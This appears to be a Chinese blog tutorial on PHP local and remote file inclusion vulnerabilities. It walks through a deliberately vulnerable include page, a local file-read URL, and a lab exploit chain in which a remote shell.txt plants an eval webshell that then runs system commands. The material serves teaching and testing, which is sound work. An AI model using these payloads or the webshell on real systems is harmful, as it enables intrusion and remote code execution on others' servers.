文件包含漏洞-基本原理

文件包含漏洞

文件包含漏洞其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞

一、本地文件包含

本地文件包含指的是能够打开并包含本地文件的漏洞

1.利用条件

php.ini中allow_url_fopen = on (默认开启)

用户参数可控且没有进行过滤

2.代码示例
# 存在漏洞的php站点示例
<?php

$filename = $_GET['filename'];
include $filename;

echo "<hr>hello,world.";

?>
# 漏洞利用示例

http://localhost/learn/fileinc.php?filename=c:\users\administrator\desktop\test.txt

image-20230424083237668

*由于include等文件包含函数的特性,可以读取任何有权限的文件,或者执行恶意脚本。

二、远程文件包含
1.利用条件

php.ini中allow_url_fopen = on(默认开启) 和 allow_url_include = on (默认关闭)

用户参数可控且没有进行过滤

image-20230424090029057

2.代码示例

创建shell.php,用于漏洞利用执行

<?php

$code = $_GET['code'];
eval($code);

?>
# 漏洞利用
http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.php?code=phpinfo();

image-20230424135432354

注意:这里发现显示的信息是本地主机的而不是靶机的,因为php脚本被本地执行了

因此需要更改包含的文件类型,不能是php文件,同时参数需要将“?”更改为“&”

http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt&code=phpinfo();

image-20230424135509570

可以看到这样显示的才是存在漏洞的主机的信息

include或者其他文件包含函数可以包含非php文件,若内容为有效的php代码,则会被执行。

3.漏洞利用实验

①将shell.txt写入一句话

<?php 
    file_put_contents('temp/shell.php', '<?php @eval($_GET['code']); ?>'); 
?>

②远程主机包含shell.txt

http://192.168.30.1/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt

③成功在远程主机写入php木马后进行利用

http://192.168.30.1/learn/temp/shell.php?code=system('ipconfig');
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值